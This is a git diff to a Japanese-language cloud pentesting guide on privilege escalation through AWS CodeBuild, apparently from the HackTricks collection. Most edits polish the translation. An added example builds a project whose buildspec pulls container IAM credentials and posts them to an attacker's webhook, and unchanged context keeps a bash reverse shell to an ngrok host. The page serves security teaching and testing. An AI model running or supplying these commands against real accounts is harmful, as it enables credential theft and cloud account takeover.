diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md index 9092b1da0..51a59eed0 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md @@ -61,13 +61,13 @@ aws codebuild start-build-batch --project --buildspec-override fi **注意**: これらの2つのコマンドの違いは次のとおりです: - `StartBuild` は特定の `buildspec.yml` を使用して単一のビルドジョブをトリガーします。 -- `StartBuildBatch` は、複数のビルドを並行して実行するなど、より複雑な構成でビルドのバッチを開始することを可能にします。 +- `StartBuildBatch` は、より複雑な構成(複数のビルドを並行して実行するなど)でビルドのバッチを開始することを可能にします。 **潜在的な影響**: 添付されたAWS Codebuildロールへの直接的な権限昇格。 ### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -**`iam:PassRole`, `codebuild:CreateProject`, および `codebuild:StartBuild` または `codebuild:StartBuildBatch`** の権限を持つ攻撃者は、実行中のものを作成することによって **任意のcodebuild IAMロールへの権限を昇格させる**ことができます。 +**`iam:PassRole`, `codebuild:CreateProject`, および `codebuild:StartBuild` または `codebuild:StartBuildBatch`** の権限を持つ攻撃者は、実行中のコードビルドIAMロールを作成することによって、**任意のコードビルドIAMロールへの権限を昇格させることができます**。 {{#tabs }} {{#tab name="Example1" }} @@ -133,6 +133,40 @@ aws codebuild create-project --name reverse-shell-project --source type=S3,locat # Start a build with the new project aws codebuild start-build --project-name reverse-shell-project +``` +{{#endtab }} + +{{#tab name="Example3" }} +```bash +# Generated by ex16x41, tested +# Create a hook.json file with command to send output from curl credentials URI to your webhook address + +{ +"name": "user-project-1", +"source": { +"type": "NO_SOURCE", +"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - curl \"http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\" | curl -X POST -d @- WEBHOOK URL\n" +}, +"artifacts": { +"type": "NO_ARTIFACTS" +}, +"environment": { +"type": "LINUX_CONTAINER", +"image": "public.ecr.aws/codebuild/amazonlinux2-x86_64-standard:4.0", +"computeType": "BUILD_GENERAL1_SMALL" +}, +"serviceRole": "ARN-OF-TARGET-ROLE" +} + +# Create a new CodeBuild project with the hook.json file +aws codebuild create-project --cli-input-json file:///tmp/hook.json + +# Start a build with the new project +aws codebuild start-build --project-name user-project-1 + +# Get Credentials output to webhook address +Wait a few seconds to maybe a couple minutes and view the POST request with data of credentials to pivot from + ``` {{#endtab }} {{#endtabs }} @@ -184,7 +218,7 @@ aws codebuild update-project --cli-input-json file://$REV_PATH aws codebuild start-build --project-name codebuild-demo-project ``` -**潜在的影響:** どのAWS Codebuildロールへの直接的な権限昇格。 +**潜在的影響:** どのAWS Codebuildロールにも直接的な権限昇格。 ### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) @@ -268,7 +302,7 @@ aws codebuild start-build-batch --project-name codebuild-demo-project ### SSM -**SSMセッションを開始するのに十分な権限があれば、**ビルド中の**Codebuildプロジェクトに入ることが可能です。** +**SSMセッションを開始するのに十分な権限がある**場合、**ビルド中のCodebuildプロジェクトに入る**ことが可能です。 Codebuildプロジェクトにはブレークポイントが必要です: @@ -285,13 +319,13 @@ commands: aws codebuild batch-get-builds --ids --region --output json aws ssm start-session --target --region ``` -詳細については[**ドキュメントを確認してください**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html)。 +For more info [**check the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html). -### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)、`s3:GetObject`、`s3:PutObject` +### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject` -特定のCodeBuildプロジェクトのビルドを開始/再起動できる攻撃者は、その`buildspec.yml`ファイルを攻撃者が書き込みアクセスを持つS3バケットに保存している場合、CodeBuildプロセスでコマンド実行を取得できます。 +特定のCodeBuildプロジェクトのビルドを開始/再起動できる攻撃者は、そのプロジェクトの`buildspec.yml`ファイルが攻撃者が書き込みアクセスを持つS3バケットに保存されている場合、CodeBuildプロセスでコマンド実行を取得できます。 -注意: エスカレーションは、CodeBuildワーカーが攻撃者とは異なる役割を持っている場合にのみ関連します。希望的には、より特権的な役割です。 +注意: エスカレーションは、CodeBuildワーカーが攻撃者とは異なる役割を持っている場合にのみ関連します。おそらく、より特権のある役割です。 ```bash aws s3 cp s3:///buildspec.yml ./ @@ -317,13 +351,13 @@ build: commands: - bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1 ``` -**影響:** AWS CodeBuild ワーカーによって使用されるロールへの直接的な特権昇格で、通常は高い権限を持っています。 +**影響:** AWS CodeBuild ワーカーによって使用されるロールへの直接的な権限昇格、通常は高い権限を持っています。 > [!WARNING] > buildspec は zip 形式で期待される可能性があるため、攻撃者はダウンロードして解凍し、ルートディレクトリから `buildspec.yml` を修正し、再度 zip してアップロードする必要があります。 -詳細は [here](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/) で確認できます。 +詳細は [こちら](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/) で確認できます。 -**潜在的な影響:** 添付された AWS Codebuild ロールへの直接的な特権昇格。 +**潜在的な影響:** 添付された AWS Codebuild ロールへの直接的な権限昇格。 {{#include ../../../banners/hacktricks-training.md}}